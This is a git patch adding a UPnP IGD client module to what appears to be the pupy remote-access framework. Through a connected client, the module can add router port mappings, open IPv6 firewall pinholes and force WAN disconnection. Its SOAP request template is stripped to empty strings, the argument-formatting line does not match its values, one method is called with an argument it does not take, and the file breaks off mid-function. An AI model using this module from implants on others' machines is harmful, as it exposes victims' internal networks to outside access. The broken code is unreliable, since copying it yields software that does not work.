From e320af34ae7c21c8123b002eb070b1aef86c4009 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 22 Nov 2016 00:26:15 +0200 Subject: [PATCH] Add initial IGD (UPnP) support --- client/additional_imports.py | 1 + client/requirements.txt | 1 + client/sources/buildenv.sh | 2 +- pupy/modules/igd.py | 420 ++++++++++++++++++++ pupy/network/lib/igd.py | 734 +++++++++++++++++++++++++++++++++++ pupy/network/lib/servers.py | 23 ++ 6 files changed, 1180 insertions(+), 1 deletion(-) create mode 100644 pupy/modules/igd.py create mode 100644 pupy/network/lib/igd.py diff --git a/client/additional_imports.py b/client/additional_imports.py index 361fff5e..c2d0397b 100644 --- a/client/additional_imports.py +++ b/client/additional_imports.py @@ -40,6 +40,7 @@ import urllib2 import getpass import __future__ import bz2 +import netaddr #needed for scapy : import new import fractions diff --git a/client/requirements.txt b/client/requirements.txt index 9e55d565..59f57b2c 100644 --- a/client/requirements.txt +++ b/client/requirements.txt @@ -3,3 +3,4 @@ pycrypto psutil pyaml rsa +netaddr diff --git a/client/sources/buildenv.sh b/client/sources/buildenv.sh index 5f3bcc69..6275daa9 100755 --- a/client/sources/buildenv.sh +++ b/client/sources/buildenv.sh @@ -14,7 +14,7 @@ PYTHONVC="https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28- PYCRYPTO32="http://www.voidspace.org.uk/downloads/pycrypto26/pycrypto-2.6.win32-py2.7.exe" PYCRYPTO64="http://www.voidspace.org.uk/downloads/pycrypto26/pycrypto-2.6.win-amd64-py2.7.exe" -PACKAGES="rpyc psutil pyaml rsa pefile image rsa netaddr pypiwin32 win_inet_pton" +PACKAGES="rpyc psutil pyaml rsa pefile image rsa netaddr pypiwin32 win_inet_pton netaddr" BUILDENV=${1:-`pwd`/buildenv} diff --git a/pupy/modules/igd.py b/pupy/modules/igd.py new file mode 100644 index 00000000..7816dda6 --- /dev/null +++ b/pupy/modules/igd.py @@ -0,0 +1,420 @@ +# -*- coding: utf-8 -*- +from pupylib.PupyModule import * +from pupylib.utils.term import colorize + +__class_name__ = "IGDClient" + +class IGDCMDClient(object): + def __init__(self): + self.igdc = None + + def init(self, IGDClient, args, log): + """ + initiate the IGDClient + """ + + self.igdc = IGDClient( + args.source, args.url, + args.DEBUG, args.pretty_print) + self.log = log + + def show(self, values): + if hasattr(values, 'iterkeys'): + column_size = max([len(x) for x in values.iterkeys()]) + fmt = '{{:<{}}}'.format(column_size) + for k, v in values.iteritems(): + if k.startswith('New'): + k = k[3:] + self.log(colorize(fmt.format(k), 'yellow')+' {}'.format(v)) + else: + values = list(values) + columns = [] + column_sizes = {} + for value in values: + for column, cvalue in value.iteritems(): + if not column in columns: + if column.startswith('New'): + columnlen = len(column) - 3 + else: + columnlen = len(column) + + columns.append(column) + column_sizes[column] = max(len(str(cvalue)), columnlen) + else: + column_sizes[column] = max(column_sizes[column], len(str(cvalue))) + + lines = [] + header = '' + for column in columns: + fmt = ' {{:<{}}} '.format(column_sizes[column]) + if column.startswith('New'): + column = column[3:] + header += colorize(fmt.format(column), 'yellow') + lines.append(header) + + for value in values: + row = '' + for column in columns: + fmt = ' {{:<{}}} '.format(column_sizes[column]) + row += fmt.format(value[column]) + lines.append(row) + + self.log('\n'.join(lines)) + + def addPM(self, args): + self.igdc.AddPortMapping( + args.intIP, args.extPort, + args.proto, args.intPort, + args.enabled, args.duration, + args.desc, args.remote) + + def delPM(self, args): + self.igdc.DeletePortMapping( + args.extPort, + args.proto, args.remote) + + def getExtIP(self, args): + extip = self.igdc.GetExternalIP() + self.show(extip) + + def getGPM(self, args): + pm = self.igdc.GetGenericPortMappingEntry(args.index, True) + self.show(pm) + + def getSPM(self, args): + + pm = self.igdc.GetSpecificPortMappingEntry( + args.extPort, args.proto, args.remote) + self.show(pm) + + def getNRSS(self, args): + + pm = self.igdc.GetNATRSIPStatus() + self.show(pm) + + def getWDD(self, args): + + pm = self.igdc.GetWarnDisconnectDelay() + self.show(pm) + + def getIDT(self, args): + + pm = self.igdc.GetIdleDisconnectTime() + self.show(pm) + + def getADT(self, args): + + pm = self.igdc.GetAutoDisconnectTime() + self.show(pm) + + def getSI(self, args): + pm = self.igdc.GetStatusInfo() + self.show(pm) + + def setWDD(self, args): + + self.igdc.SetWarnDisconnectDelay(args.delay) + + def setIDT(self, args): + + self.igdc.SetIdleDisconnectTime(args.time) + + def setADT(self, args): + + self.igdc.SetAutoDisconnectTime(args.time) + + def forceTerm(self, args): + + self.igdc.ForceTermination() + + def requestTerm(self, args): + + self.igdc.RequestTermination() + + def requestConn(self, args): + + self.igdc.RequestConnection() + + def getCT(self, args): + + pm = self.igdc.GetConnectionTypeInfo() + self.show(pm) + + def setCT(self, args): + + self.igdc.SetConnectionType(args.ct_type) + + def custom(self, args): + args.input_args + iargs = json.loads(args.input_args) + resp_xml = self.igdc.customAction(args.method_name, iargs, args.svc) + if self.igdc.pprint: + xml = minidom.parseString(resp_xml) + xml.toprettyxml() + else: + resp_xml + + # following are for IPv6FWControl + def getFWStatus(self, args): + pm = self.igdc.GetFWStatus() + self.show(pm) + + def addPH(self, args): + r = self.igdc.AddPinhole( + args.intIP, + args.rIP, + args.rPort, + args.intPort, + args.proto, + args.lease) + self.show(r) + + def getOPHT(self, args): + r = self.igdc.GetPinholeTimeout( + args.intIP, args.rIP, args.rPort, args.intPort, args.proto) + self.show(r) + + def updatePH(self, args): + self.igdc.UpdatePinhole(args.uid, args.lease) + + def delPH(self, args): + self.igdc.DelPinhole(args.uid) + + def getPHPkts(self, args): + r = self.igdc.GetPinholePkts(args.uid) + self.show(r) + + def chkPH(self, args): + r = self.igdc.CheckPinhole(args.uid) + self.show(r) + + +@config(cat='admin') +class IGDClient(PupyModule): + """ UPnP IGD Client """ + + def init_argparse(self): + cli = IGDCMDClient() + + parser = PupyArgumentParser( + prog='igdc', + description=self.__doc__ + ) + parser.add_argument('-d', '--DEBUG', action='store_true', + help='enable DEBUG output') + + parser.add_argument( + '-pp', + '--pretty_print', + action='store_true', + help='enable xml pretty output for debug and custom action') + parser.add_argument('-s', '--source', default='0.0.0.0', + help='source address of requests') + parser.add_argument('-u', '--url', + help='control URL') + + subparsers = parser.add_subparsers() + + parser_start = subparsers.add_parser('add', help='add port mapping') + parser_start.add_argument('intIP', + help='Internal IP') + parser_start.add_argument('intPort', type=int, + help='Internal Port') + parser_start.add_argument('extPort', type=int, + help='External Port') + parser_start.add_argument('proto', choices=['UDP', 'TCP'], + help='Protocol') + parser_start.add_argument('-r', '--remote', default='', + help='remote host') + parser_start.add_argument('-d', '--desc', default='', + help='Description of port mapping') + parser_start.add_argument( + '-e', + '--enabled', + type=int, + choices=[ + 1, + 0], + default=1, + help='enable or disable port mapping') + parser_start.add_argument('-du', '--duration', type=int, default=0, + help='Duration of the mapping') + parser_start.set_defaults(func=cli.addPM) + + parser_del = subparsers.add_parser('del', help='del port mapping') + parser_del.add_argument('extPort', type=int, + help='External Port') + parser_del.add_argument('proto', choices=['UDP', 'TCP'], + help='Protocol') + parser_del.add_argument('-r', '--remote', default='', + help='remote host') + parser_del.set_defaults(func=cli.delPM) + + parser_geip = subparsers.add_parser('getextip', help='get external IP') + parser_geip.set_defaults(func=cli.getExtIP) + + parser_gpm = subparsers.add_parser('getgpm', help='get generic pm entry') + parser_gpm.add_argument('-i', '--index', type=int, + help='index of PM entry') + parser_gpm.set_defaults(func=cli.getGPM) + + parser_spm = subparsers.add_parser( + 'getspm', help='get specific port mapping') + parser_spm.add_argument('extPort', type=int, + help='External Port') + parser_spm.add_argument('proto', choices=['UDP', 'TCP'], + help='Protocol') + parser_spm.add_argument('-r', '--remote', default='', + help='remote host') + parser_spm.set_defaults(func=cli.getSPM) + + parser_nrss = subparsers.add_parser( + 'getnrss', help='get NAT and RSIP status') + parser_nrss.set_defaults(func=cli.getNRSS) + + parser_gwdd = subparsers.add_parser( + 'getwdd', help='get warn disconnect delay') + parser_gwdd.set_defaults(func=cli.getWDD) + + parser_swdd = subparsers.add_parser( + 'setwdd', help='set warn disconnect delay') + parser_swdd.add_argument('delay', type=int, + help='warn disconnect delay') + parser_swdd.set_defaults(func=cli.setWDD) + + parser_gidt = subparsers.add_parser( + 'getidt', help='get idle disconnect time') + parser_gidt.set_defaults(func=cli.getIDT) + + parser_sidt = subparsers.add_parser( + 'setidt', help='set idle disconnect time') + parser_sidt.add_argument('time', type=int, + help='idle disconnect time') + parser_sidt.set_defaults(func=cli.setIDT) + + parser_gadt = subparsers.add_parser( + 'getadt', help='get auto disconnect time') + parser_gadt.set_defaults(func=cli.getADT) + + parser_sadt = subparsers.add_parser( + 'setadt', help='set auto disconnect time') + parser_sadt.add_argument('time', type=int, + help='auto disconnect time') + parser_sadt.set_defaults(func=cli.setADT) + + parser_gsi = subparsers.add_parser('getsi', help='get status info') + parser_gsi.set_defaults(func=cli.getSI) + + parser_rt = subparsers.add_parser('rt', help='request termination') + parser_rt.set_defaults(func=cli.requestTerm) + + parser_ft = subparsers.add_parser('ft', help='force termination') + parser_ft.set_defaults(func=cli.forceTerm) + + parser_rc = subparsers.add_parser('rc', help='request connection') + parser_rc.set_defaults(func=cli.requestConn) + + parser_gct = subparsers.add_parser( + 'getct', help='get connection type info') + parser_gct.set_defaults(func=cli.getCT) + + parser_sct = subparsers.add_parser('setct', help='set connection type') + parser_sct.add_argument('ct_type', + help='connection type') + parser_sct.set_defaults(func=cli.setCT) + + parser_cust = subparsers.add_parser('custom', help='use custom action') + parser_cust.add_argument('method_name', + help='name of custom action') + parser_cust.add_argument('-svc', type=str, + choices=['WANIPConnection', + 'WANIPv6FirewallControl'], + default='WANIPConnection', + help='IGD service, default is WANIPConnection') + parser_cust.add_argument( + '-iargs', + '--input_args', + default='{}', + help='input args, the format is same as python dict,' + 'e.g. "{\'NewPortMappingIndex\': [0, \'ui4\']}"') + parser_cust.set_defaults(func=cli.custom) + + # following for IPv6FWControl + parser_gfwstatus = subparsers.add_parser( + 'getfwstatus', help='get IPv6 FW status') + parser_gfwstatus.set_defaults(func=cli.getFWStatus) + + parser_addph = subparsers.add_parser('addph', help='add IPv6 FW Pinhole') + parser_addph.add_argument('intIP', + help='Internal IP') + parser_addph.add_argument('-intPort', type=int, default=0, + help='Internal Port') + parser_addph.add_argument('proto', choices=['UDP', 'TCP', 'ALL'], + help='Protocol') + parser_addph.add_argument('-rIP', default='', + help='Remote IP') + parser_addph.add_argument('-rPort', type=int, default=0, + help='Remote Port') + + parser_addph.add_argument('-lease', type=int, default=3600, + help='leasetime of the pinhole') + parser_addph.set_defaults(func=cli.addPH) + + parser_gopht = subparsers.add_parser( + 'getopht', help='get IPv6 FW OutboundPinholeTimeout') + parser_gopht.add_argument('-intIP', type=str, default='', + help='Internal IP') + parser_gopht.add_argument('-intPort', type=int, default=0, + help='Internal Port') + parser_gopht.add_argument( + '-proto', + choices=[ + 'UDP', + 'TCP', + 'ALL'], + default='ALL', + help='Protocol') + parser_gopht.add_argument('-rIP', default='', + help='Remote IP') + parser_gopht.add_argument('-rPort', type=int, default=0, + help='Remote Port') + parser_gopht.set_defaults(func=cli.getOPHT) + + parser_uph = subparsers.add_parser( + 'updateph', help='update IPv6 FW pinhole') + parser_uph.add_argument('uid', type=int, help='UniqueID of the pinhole') + parser_uph.add_argument('lease', type=int, + help='new leasetime of the pinhole') + parser_uph.set_defaults(func=cli.updatePH) + + parser_dph = subparsers.add_parser('delph', help='delete IPv6 FW pinhole') + parser_dph.add_argument('uid', type=int, help='UniqueID of the pinhole') + parser_dph.set_defaults(func=cli.delPH) + + parser_gphpkts = subparsers.add_parser( + 'getphpkts', help='get number of packets go through specified IPv6FW pinhole') + parser_gphpkts.add_argument( + 'uid', type=int, help='UniqueID of the pinhole') + parser_gphpkts.set_defaults(func=cli.getPHPkts) + + parser_chkph = subparsers.add_parser( + 'chkph', help='check if the specified pinhole is working') + parser_chkph.add_argument('uid', type=int, help='UniqueID of the pinhole') + parser_chkph.set_defaults(func=cli.chkPH) + + self.arg_parser = parser + self.cli = cli + + def run(self, args): + igdc = self.client.conn.modules['network.lib.igd'].IGDClient + UPNPError = self.client.conn.modules['network.lib.igd'].UPNPError + self.cli.init(igdc, args, self.log) + self.cli.igdc.enableDebug(args.DEBUG) + self.cli.igdc.enablePPrint(args.pretty_print) + try: + args.func(args) + except Exception as e: + if hasattr(e, 'description'): + self.error('IGD: {}'.format(e.description)) + else: + self.error('Exception: {}'.format(e)) diff --git a/pupy/network/lib/igd.py b/pupy/network/lib/igd.py new file mode 100644 index 00000000..9010ab6c --- /dev/null +++ b/pupy/network/lib/igd.py @@ -0,0 +1,734 @@ +# -*- coding: utf-8 -*- +# Original code from: https://github.com/hujun-open/pyigdc +# Reworked by Oleskii Shevchuk (@alxchk) +# License: MIT + +import socket +import argparse +import urllib2 +from StringIO import StringIO +from httplib import HTTPResponse +from xml.etree.cElementTree import fromstring +from urlparse import urlparse +import ctypes +import os +import netaddr + +def str2bool(bstr): + return bool(int(bstr)) + +def getProtoId(proto_name): + if isinstance(proto_name, int): + if proto_name > 0 and proto_name <= 65535: + return proto_name + + proto_name = 'IPPROTO_{}'.format(proto_name) + if not hasattr(socket, proto_name): + return False + + return getattr(socket, proto_name) + +class UPNPError(Exception): + def __init__(self, hcode, ucode, udes): + """ + hcode is the http error code + ucode is the upnp error code + udes is the upnp error description + """ + self.http_code = hcode + self.code = ucode + self.description = udes + + def __str__(self): + return "HTTP Error Code {hc}, UPnP Error Code {c}, {d}"\ + .format(hc=self.http_code, c=self.code, d=self.description) + + +class FakeSocket(StringIO): + def makefile(self, *args, **kw): + return self + + +def httpparse(fp): + socket = FakeSocket(fp.read()) + response = HTTPResponse(socket) + response.begin() + return response + + +# sendSOAP is based on part of source code from miranda-upnp. +class IGDClient: + """ + UPnP IGD v1 Client class, supports all actions + """ + + UPNPTYPEDICT = { + 'NewAutoDisconnectTime': int, + 'NewIdleDisconnectTime': int, + 'NewWarnDisconnectDelay': int, + 'NewPortMappingNumberOfEntries': int, + 'NewLeaseDuration': int, + 'NewExternalPort': int, + 'NewInternalPort': int, + 'NewRSIPAvailable': str2bool, + 'NewNATEnabled': str2bool, + 'NewEnabled': str2bool, + 'FirewallEnabled': str2bool, + 'InboundPinholeAllowed': str2bool, + 'OutboundPinholeTimeout': int, + 'UniqueID': int, + 'PinholePackets': int, + 'IsWorking': str2bool, + } + + NS = { + 'device': 'urn:schemas-upnp-org:device-1-0', + 'control': 'urn:schemas-upnp-org:control-1-0', + 'soap': 'http://schemas.xmlsoap.org/soap/envelope/', + } + + def __init__( + self, + bindIP='0.0.0.0', + ctrlURL=None, + service="WANIPC", + edebug=False, + pprint=False, + timeout=2.0): + """ + - intIP is the source address of the request packet, which implies the source interface + - ctrlURL is the the control URL of IGD server, client will do discovery if it is None + """ + self.debug = edebug + self.pprint = pprint + self.isv6 = False + self.timeout = timeout + + if ctrlURL: + self.ctrlURL = urlparse(self.ctrlURL) + self.bindIP = self._getOutgoingLocalAddress(self.ctrlURL.hostname) + self.isv6 = self.bindIP.version == 6 + else: + self.ctrlURL = None + self.bindIP = netaddr.IPAddress(bindIP) + self.isv6 = self.bindIP.version == 6 + + if self.isv6: + self.igdsvc = "IP6FWCTL" + else: + self.igdsvc = "WANIPC" + + self.discovery() + + if self.available: + self.intIP = self._getOutgoingLocalAddress() + + @property + def available(self): + return self.ctrlURL != None + + def enableDebug(self, d=True): + """ + enable debug output + """ + self.debug = d + + def enablePPrint(self, p=True): + """ + enable pretty print for XML output + """ + self.pprint = p + + def _getOutgoingLocalAddress(self): + remote_addr = netaddr.IPAddress(urlparse(self.ctrlURL).hostname) + rcon = socket.socket( + socket.AF_INET if remote_addr.version == 4 else socket.AF_INET6, + ) + rcon.connect((remote_addr.format(), 1900)) + return netaddr.IPAddress(rcon.getsockname()[0]) + + def _get1stTagText(self, xmls, tagname_list): + """ + return 1st tag's value in the xmls + """ + dom = fromstring(xmls) + r = {} + for tagn in tagname_list: + try: + txt_node = dom.find('.//{}'.format(tagn)) + if txt_node is not None: + if tagn in self.UPNPTYPEDICT: + r[tagn] = self.UPNPTYPEDICT[tagn](txt_node.text) + else: + r[tagn] = txt_node.text + else: + r[tagn] = None + except: + print"xml parse err: {tag} not found".format(tag=tagn) + + return r + + def _parseErrMsg(self, err_resp): + """ + parse UPnP error message, err_resp is the returned XML in http body + reurn UPnP error code and error description + """ + dom = fromstring(err_resp) + err_code = dom.find('.//control:errorCode', self.NS) + err_desc = dom.find('.//control:errorDescription', self.NS) + return (err_code.text, err_desc.text) + + def discovery(self): + """ + Find IGD device and its control URL via UPnP multicast discovery + """ + if not self.isv6: + up_disc = '\r\n'.join([ + 'M-SEARCH * HTTP/1.1', + 'HOST:239.255.255.250:1900', + 'ST:upnp:rootdevice', + 'MX:2', + 'MAN:"ssdp:discover"' + ]) + '\r\n' * 2 + + sock = socket.socket( + socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) + sock.bind((self.bindIP.format(), 19110)) + sock.sendto(up_disc, ("239.255.255.250", 1900)) + + else: + if self.bindIP.is_link_local(): + dst_ip = "ff02::c" + else: + dst_ip = "ff05::c" + up_disc = '\r\n'.join([ + 'M-SEARCH * HTTP/1.1', + 'HOST:[{dst}]:1900'.format(dst=dst_ip), + 'ST:upnp:rootdevice', + 'MX:2', + 'MAN:"ssdp:discover"' + ]) + '\r\n' * 2 + + sock = socket.socket( + socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP) + + if self.debug: + print "trying to bind to address:", self.bindIP + + socketaddr = socket.getaddrinfo( + self.bindIP.format(), 19110)[-1:][0][-1:][0] + sock.bind(socketaddr) + sock.sendto(up_disc, (dst_ip, 1900)) + + if self.debug: + print "Discovery: ----- tx request -----\n " + up_disc + + sock.settimeout(self.timeout) + try: + data, addr = sock.recvfrom(1024) # buffer size is 1024 bytes + except socket.error: + return + + sock.close() + + if self.debug: + print "Discovery: ----- rx reply -----\n " + data + + descURL = httpparse(StringIO(data)).getheader('location') + descXMLs = urllib2.urlopen(descURL).read() + self.pr = urlparse(descURL) + baseURL = self.pr.scheme + "://" + self.pr.netloc + dom = fromstring(descXMLs) + + if self.igdsvc == "WANIPC": + svctype = 'urn:schemas-upnp-org:service:WANIPConnection' + else: + svctype = 'urn:schemas-upnp-org:service:WANIPv6FirewallControl' + + for e in dom.findall('.//device:service', self.NS): + stn = e.find('device:serviceType', self.NS) + if not stn is None: + if stn.text[0:-2] == svctype: + cun = e.find('device:controlURL', self.NS).text + self.ctrlURL = baseURL + cun + break + + if self.debug: + print "control URL is ", self.ctrlURL + + def AddPortMapping(self, extPort, proto, intPort, enabled=1, duration=0, intIP=None, desc='', remoteHost=''): + upnp_method = 'AddPortMapping' + sendArgs = { + 'NewPortMappingDescription': (desc, 'string'), + 'NewLeaseDuration': (duration, 'ui4'), + 'NewInternalClient': (intIP or self.intIP, 'string'), + 'NewEnabled': (enabled, 'boolean'), + 'NewExternalPort': (extPort, 'ui2'), + 'NewRemoteHost': (remoteHost, 'string'), + 'NewProtocol': (proto, 'string'), + 'NewInternalPort': (intPort, 'ui2') + } + + self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + def DeletePortMapping(self, extPort, proto, remoteHost=''): + upnp_method = 'DeletePortMapping' + sendArgs = { + 'NewExternalPort': (extPort, 'ui2'), + 'NewRemoteHost': (remoteHost, 'string'), + 'NewProtocol': (proto, 'string') + } + + self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + def GetExternalIP(self): + upnp_method = 'GetExternalIPAddress' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewExternalIPAddress" + ]) + + def GetGenericPortMappingEntryAll(self): + index = 0 + items = [] + while True: + try: + items.append(self.GetGenericPortMappingEntry(index)) + except UPNPError as e: + break + + index += 1 + + return items + + def GetGenericPortMappingEntry(self, index=None, hideErr=False): + if index is None: + return self.GetGenericPortMappingEntryAll() + + upnp_method = 'GetGenericPortMappingEntry' + sendArgs = { + 'NewPortMappingIndex': (index, 'ui4'), + } + + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs, hideErr=hideErr + ) + + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewExternalPort", "NewRemoteHost", + "NewProtocol", "NewInternalPort", + "NewInternalClient", "NewPortMappingDescription", + "NewLeaseDuration", "NewEnabled" + ]) + + def GetSpecificPortMappingEntry(self, extPort, proto, remote): + upnp_method = 'GetSpecificPortMappingEntry' + sendArgs = { + 'NewExternalPort': (extPort, 'ui2'), + 'NewRemoteHost': (remote, 'string'), + 'NewProtocol': (proto, 'string'), + } + + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewInternalPort", + "NewInternalClient", "NewPortMappingDescription", + "NewLeaseDuration", "NewEnabled" + ]) + + def GetNATRSIPStatus(self): + upnp_method = 'GetNATRSIPStatus' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewRSIPAvailable", + "NewNATEnabled", + ]) + + def GetWarnDisconnectDelay(self): + upnp_method = 'GetWarnDisconnectDelay' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewWarnDisconnectDelay", + ]) + + def GetIdleDisconnectTime(self): + upnp_method = 'GetIdleDisconnectTime' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewIdleDisconnectTime", + ]) + + def GetAutoDisconnectTime(self): + upnp_method = 'GetAutoDisconnectTime' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewAutoDisconnectTime", + ]) + + def GetStatusInfo(self): + upnp_method = 'GetStatusInfo' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewConnectionStatus", + "NewLastConnectionError", + "NewUptime" + ]) + + def SetWarnDisconnectDelay(self, delay): + upnp_method = 'SetWarnDisconnectDelay' + sendArgs = { + 'NewWarnDisconnectDelay': (delay, 'ui4'), + } + + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + def SetIdleDisconnectTime(self, disconnect_time): + upnp_method = 'SetIdleDisconnectTime' + sendArgs = { + 'NewIdleDisconnectTime': (disconnect_time, 'ui4'), + } + + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + def SetAutoDisconnectTime(self, disconnect_time): + upnp_method = 'SetAutoDisconnectTime' + sendArgs = { + 'NewAutoDisconnectTime': (disconnect_time, 'ui4'), + } + + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + def ForceTermination(self): + upnp_method = 'ForceTermination' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, upnp_method, sendArgs + ) + + def RequestTermination(self): + upnp_method = 'RequestTermination' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + + def RequestConnection(self): + upnp_method = 'RequestConnection' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + + def GetConnectionTypeInfo(self): + upnp_method = 'GetConnectionTypeInfo' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "NewConnectionType", + "NewPossibleConnectionTypes", ]) + + def SetConnectionType(self, ctype): + upnp_method = 'SetConnectionType' + sendArgs = { + 'NewConnectionType': (ctype, 'string'), + } + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPConnection:1', + self.ctrlURL, + upnp_method, + sendArgs) + + def customAction(self, method_name, in_args={}, svc="WANIPConnection"): + """ + this is for the vendor specific action + in_args is a dict, + svc is the IGD service, + the format is : + key is the argument name + value is a two element list, 1st one is the value of arguement, 2nd + is the UPnP data type defined in the spec. following is an example: + {'NewPortMappingIndex': [0, 'ui4'],} + + """ + upnp_method = method_name + sendArgs = dict(in_args) + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:{svc}:1'.format( + svc=svc), + self.ctrlURL, + upnp_method, + sendArgs + ) + + return resp_xml + + def sendSOAP(self, hostName, serviceType, controlURL, actionName, + actionArguments, hideErr=False): + """ + send a SOAP request and get the response + """ + argList = '' + + if not controlURL: + self.discovery() + + # Create a string containing all of the SOAP action's arguments and + # values + for arg, (val, dt) in actionArguments.iteritems(): + argList += '<%s>%s' % (arg, val, arg) + + # Create the SOAP request + soapBody = '' \ + '' \ + '' \ + '' \ + '{}' \ + '' \ + '' \ + ''.format( + actionName, + serviceType, + argList, + actionName + ) + + try: + response = urllib2.urlopen( + urllib2.Request(controlURL, soapBody, { + 'Content-Type': 'text/xml', + 'SOAPAction': '"{}#{}"'.format( + serviceType, + actionName + ) + })) + except urllib2.HTTPError as e: + err_code, err_desc = self._parseErrMsg(e.read()) + raise UPNPError(e.code, err_code, err_desc) + + return response.read() + + # following are for IP6FWControl + def GetFWStatus(self): + upnp_method = 'GetFirewallStatus' + sendArgs = {} + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "FirewallEnabled", "InboundPinholeAllowed"]) + + def AddPinhole( + self, + iclient, + rhost="", + rport=0, + iport=0, + proto=65535, + leasetime=3600): + upnp_method = "AddPinhole" + pid = getProtoId(proto) + if not pid: + print proto, " is not a supported protocol" + return + sendArgs = { + "RemoteHost": (rhost, 'string'), + "RemotePort": (rport, 'ui2'), + "InternalClient": (iclient, 'string'), + "InternalPort": (iport, 'ui2'), + "Protocol": (pid, 'ui2'), + "LeaseTime": (leasetime, 'ui4'), + } + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "UniqueID", ]) + + def GetPinholeTimeout( + self, + iclient="", + rhost="", + rport=0, + iport=0, + proto=65535): + upnp_method = "GetOutboundPinholeTimeout" + pid = getProtoId(proto) + if not pid: + print proto, " is not a supported protocol" + return + sendArgs = { + "RemoteHost": (rhost, 'string'), + "RemotePort": (rport, 'ui2'), + "InternalClient": (iclient, 'string'), + "InternalPort": (iport, 'ui2'), + "Protocol": (pid, 'ui2'), + } + + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1', + self.ctrlURL, + upnp_method, + sendArgs) + + if resp_xml: + return self._get1stTagText(resp_xml, [ + "OutboundPinholeTimeout", + ]) + + def UpdatePinhole(self, uid, lease): + upnp_method = "UpdatePinhole" + sendArgs = { + "UniqueID": (uid, 'ui2'), + "NewLeaseTime": (lease, 'ui4'), + } + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1', + self.ctrlURL, + upnp_method, + sendArgs + ) + + def DelPinhole(self, uid): + upnp_method = "DeletePinhole" + sendArgs = { + "UniqueID": (uid, 'ui2'), + } + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1', + self.ctrlURL, + upnp_method, + sendArgs + ) + + def GetPinholePkts(self, uid): + upnp_method = "GetPinholePackets" + sendArgs = { + "UniqueID": (uid, 'ui2'), + } + resp_xml = self.sendSOAP( + self.pr.netloc, + 'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1', + self.ctrlURL, + upnp_method, + sendArgs) + if resp_xml: + return self._get1stTagText(resp_xml, [ + "PinholePackets", + ]) + + def CheckPinhole(self, uid): + upnp_method = "CheckPinholeWorking" + sendArgs = { + "UniqueID": (uid, 'ui2'), + } + 